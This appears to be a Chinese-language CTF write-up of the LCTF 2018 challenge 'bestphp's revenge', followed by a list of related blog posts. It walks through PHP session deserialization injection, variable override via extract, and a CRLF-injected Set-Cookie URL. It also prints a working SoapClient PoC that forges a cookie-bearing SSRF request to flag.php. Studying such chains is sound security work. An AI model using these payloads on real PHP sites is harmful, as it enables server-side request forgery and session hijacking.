bestphp's revenge

flag.php: only localhost can get flag!sessionstart(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($SERVER["REMOTEADDR"]==="127.0.0.1"){ $SESSION['flag'] = $flag; } only localhost can get flag!

这里可能就给我们提供了一种可能就是ssrf攻击,利用ssrf来获取flag。 index.php:

<?php
//index.php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST); session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

在这里call_user_func是回调函数,她把第一个参数作为回调函数调用,后面的就是跟着传入的参数。

同时题目告诉我们要进行反序列化,但是刚开始没有看到反序列化的点。

在这里我们回调的函数可以是php的内置函数。而反序列化的点在于session。

关于session反序列化的前提点

也算我复习一遍吧,之前用过sess这个文件写过一些东西:

设定用户自定义存储函数(session.save_handler):

[Session]
; Handler used to store/retrieve data.
; http://php.net/session.save-handler
session.save_handler = files

设置session的存储路径(session.save_path):

; does not overwrite the process's umask.
; http://php.net/session.save-path
session.save_path="D:\phpstudy_pro\Extensions\tmp\tmp"

设置反序列化处理器:(session.serialize_handler):

; Handler used to serialize data.  php is the standard serializer of PHP.
; http://php.net/session.serialize-handler
session.serialize_handler = php

包含了三种处理器,这里默认为php。他们分别是php,phpserialize 以及phpbinary。

session存储文件,以及三种反序列化引擎返回的不同结果

关于php当中的session:以sess_sessionid命名,有时候他是有安全隐患的,他用来存储session,这是我随便找的一个sess文件

dvwa|a:2:{s:8:"messages";a:0:{}s:8:"username";s:5:"admin";}session_token|s:32:"5c65a3e35629581c240bf568c46b8df2";

注意用不同的反序列化引擎进行序列化得到的结果是不同的: php_serialize引擎序列化:

name|s:6:"spoock";

其中,s:6:"spoock"是经过serialize之后得到的 php引擎进行序列化: dvwa|a:2:{s:8:"messages";a:0:{}s:8:"username";s:5:"admin";}session_token|s:32:"5c65a3e35629581c240bf568c46b8df2";

php_binary引擎进行反序列化:

<0x04>usernames:5:"admin";

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。

以下示例来自参考文章:https://www.tinymind.net.cn/articles/f270436cb6b916

我们传入$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}';

当我们序列化引擎使用:php_serialize:

在session文件中存储内容就为:a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}

而此时利用反序列化引擎为php的时候,|就为键与值的分界线。

此时键名为a:1:{s:4:"name";s:5:"

键值为:O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}

这里就形成了注入点,因为键值valude会再进行一次serialize反序列化,所以就会执行生成一个新的smile对象而我们在php引擎中进行这样的序列化,显然是不可能的,我们无法控制参数。

到了这步,此时我们已经完成了一个Smile对象的注入。

crlf漏洞

在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,即回车加换行\r\n,此时我们控制header头,注入换行符,就能注入一些代码,或者其他的比如cookie,所以CRLF漏洞常常出现在Location与Set-cookie消息头中。

关于crlf:

cr:回车符:光标移到行首 : %0d
lf:换行符:光标垂直移到下行 :%0a

就例如在windows我们编写字典的时候加的其实是\r\n,在linux当中则是\n

具体构造方法:在url参数处进行构造即:http://url?xx=hhh%0d%0aSet-cookie:sessionid=test

可以查看一下响应头,看看有没有被返回显示出来。

造成这种问题的原因是因为这两个字符的不完全过滤,以及后端的代码编写方式,例如:header("Location:".$_GET["URL"]); 这样拼接到Location后面并且进行了换行,Set-Cookie就出来了.

index.php页面的分析:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

注意这个回调函数,这里导致的就可能是变量覆盖了,我们利用extract函数,对于$b这里是可以进行变量覆盖的,他的功能、将变量导入到当前的符号表。

即?f=extract POST:b=XXXX目标函数。

同时我们可以利用回调函数来设置反序列化的解释器。

?f=session_start POST:serialize_handler=php_serialize

这里为什么不能把b覆盖为unserialize函数是有原因的,因为$a为数组,而unserialize无法处理数组。所以这里我们通过call_user_func来设置session.serialize_handler,接着通过默认引擎来触发反序列化。

所以结合完这个函数就应该变成session_start(['serialize_handler'=>'php_serialize'])

我们前面已经介绍了php这个序列化引擎会以|作为作为key和value的分隔符。并且当php引擎与php_serialize放到一起处理的时候,会有异常,利用这个特性。

在这道题环境中我们只要在name上以|开头后面跟上我们真正要反序列化的内容,就是我们注入的点。

此时我们协同着传入我们的payload:

这是poc:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "test\r\nCookie: PHPSESSID=96sujaq7o5tl0btee8urnlsrb3\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

关于poc的生成以及作用:

这段poc,利用到了crlf,在这里能够将我们设置的这段cookie\r\nCookie: PHPSESSID=96sujaq7o5tl0btee8urnlsrb3\r\n变成实体写入进去,能够dump出来,就是设置了我们的cookie,能用来进行ssrf。

此时我们利用crlf伪造了请求,访问flag,结果保存到了96sujaq7o5tl0btee8urnlsrb3这段cookie文件中

原生类soap的利用

SOAP是webService三要素。

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口,其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

我们可以通过它来发送http/https请求,同时WSDL(WebServicesDescriptionLanguage)WSDL 用来描述如何访问具体的接口,他也是三要素之一。

而SoapClient类可以创建soap数据报文,与wsdl接口进行交互。

SOAP的组成

一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档。

<?xml
 version="1.0"?>
<soap:Envelope
 xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding"> <soap:Header>
</soap:Header> <soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body> </soap:Envelope>

在PHP中,PHP的 SOAP 扩展可以用来提供和使用 Web Services。

拓展实现了流各类,分别为SoapClient、SoapServer 、SoapFault、SoapHeader、SoapParam 以及 SoapVar。

在soapclient类中存在着CRLF漏洞,因为在soapclient中他允许我们自定义User-Agent,通过对User-Agent的控制,我们能够控制更多的参数,对他们进行覆盖。

此处参考文章:https://www.anquanke.com/post/id/153065#h2-5

利用变量覆盖继续

burp截包:

触发反序列化

此时我们利用变量覆盖,去进行反序列化的出发点。
这里我们出触发反序列化的姿势,就是利用变量覆盖,将b覆盖为call_user_func()

关于reset函数:reset() 函数将内部指针指向数组中的第一个元素,并输出。

在这里就相当于$_SESSION['name'],此时我们根据我们上一步传入的结果,最终call_user_func($b, $a)就变为了:call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
call_user_func(SoapClient->welcome_to_the_lctf2018)

但是welcome_to_the_lctf2018是不存在这个方法的,所以就触发了魔术方法__call(),从而发出请求。

此时触发反序列化使SoapClient发送请求,向flag.php发起了请求,。

读取flag

此时对于flag的读取就非常简单了,我们利用我们设置的cookie去访问网页,session文件的内容就被dump出来了。

在flag.php当中:

if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}

var_dump($_SESSION);

参考文章:

https://blog.spoock.com/2016/10/16/php-serialize-problem/

[LCTF]bestphp's revenge 给我的启发学习的更多相关文章

  1. 刷题记录:[LCTF]bestphp's revenge

    目录 刷题记录:[LCTF]bestphp's revenge 一.知识点 1.SoapClient触发反序列化导致ssrf 2.serialize_hander处理session方式不同导致sess ...

  2. bestphp's revenge

    0x00 知识点 1利用PHP原生类来构造POP链 本题没有可以利用的类,没有可以利用的类就找不到POP链所以只能考虑PHP原生类 我们先来解释一下什么是POP链 POP:面向属性编程 在二进制利用时 ...

  3. 刷题[bestphp's revenge]

    前置知识 phpsession反序列化 CRLF注入 即:利用漏洞,注入一个CRLF(\r\n)控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体 php内置SoapClient类利 ...

  4. LCTF wp简单复现

    1.T4lk 1s ch34p,sh0w m3 the sh31l 代码如下: <?php $SECRET = `../read_secret`; $SANDBOX = "../dat ...

  5. BUU刷题01

    [安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...

  6. JavaSE中Collection集合框架学习笔记(2)——拒绝重复内容的Set和支持队列操作的Queue

    前言:俗话说“金三银四铜五”,不知道我要在这段时间找工作会不会很艰难.不管了,工作三年之后就当给自己放个暑假. 面试当中Collection(集合)是基础重点.我在网上看了几篇讲Collection的 ...

  7. 计算机协议、标准以及OSI模型的简单介绍

    由概念启发学习,引导学习.本篇文章中包含了一些最基本的概念和底层知识.虽然零碎,但是这是基础. 一.协议和标准 协议指的是一组控制数据通信的规则.协议有三要素:语法(syntax),语义(semant ...

  8. HDU 3341 Lost's revenge(AC自动机+DP)

    Lost's revenge Time Limit: 15000/5000 MS (Java/Others)    Memory Limit: 65535/65535 K (Java/Others)T ...

  9. HDU 5019 Revenge of GCD(数学)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5019 Problem Description In mathematics, the greatest ...

随机推荐

  1. qemu-img check命令详解

    1.问题现象 生产环境上,对计算节点文件系统修复,导致某些虚机的镜像文件数据丢失,出现异常,最终造成虚机无法启动,查看对应计算节点的nova日志,报如下错误 nova-compute: File &q ...

  2. Rethinking the performance comparison between SNNS and ANNS

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! Abstract ANN是通向AI的一种流行方法,它已经通过成熟的模型,各种基准,开源数据集和强大的计算平台获得了非凡的成功.SNN是一类 ...

  3. 【转】Python进度条tqdm的使用

    有时候在使用Python处理比较耗时操作的时候,为了便于观察处理进度,这时候就需要通过进度条将处理情况进行可视化展示,以便我们能够及时了解情况.这对于第三方库非常丰富的Python来说,想要实现这一功 ...

  4. Java多线程_Master-Worker设计模式

    Master-Worker模式是常用的并行模式之一,它的核心思想是:系统由Master进程和Worker进程两类进程协同工作,Master负责接收和分配任务,Wroker负责处理子任务.当各个Work ...

  5. muduo源码解析5-mutex相关类

    mutexlock和mutexlockguard class mutexlock:noncopyable { }: class mutexlockguard:noncopyable { }: 作用: ...

  6. go语言开发入门

    go语言开发入门 每个Go程序包含一个名为main的包以及其main函数,在初始化后,程序从main开始执行,避免引入不使用的包(编译不通过) 基础语法 基本数据类型 bool, byte int,i ...

  7. 好看的css渐变颜色大全网址

    60个渐变颜色 https://webkul.github.io/coolhue/ 60个非常有用的CSS代码片段 https://baijiahao.baidu.com/s?id=160278735 ...

  8. Lua 调用的 C 函数保存 state 的两种方式: Storing State in C Functions 笔记

    http://yanbin.is-programmer.com/posts/94214.html Registery的Key 1. 整数Key用于Lua的引用机制,所以不要使用整数作为Key 2. 通 ...

  9. 面试【JAVA基础】多线程

    本次整理的内容如下: 1.进程与线程的区别 进程是一个可执行的程序,是系统资源分配的基本单位:线程是进程内相对独立的可执行单元,是操作系统进行任务调度的基本单位. 2.进程间的通信方式 2.1.操作系 ...

  10. 【原创】如何优雅的转换Bean对象

    背景 我们的故事要从一个风和日丽的下午开始说起! 这天,外包韩在位置上写代码-外包韩根据如下定义 PO(persistant object):持久化对象,可以看成是与数据库中的表相映射的 java 对 ...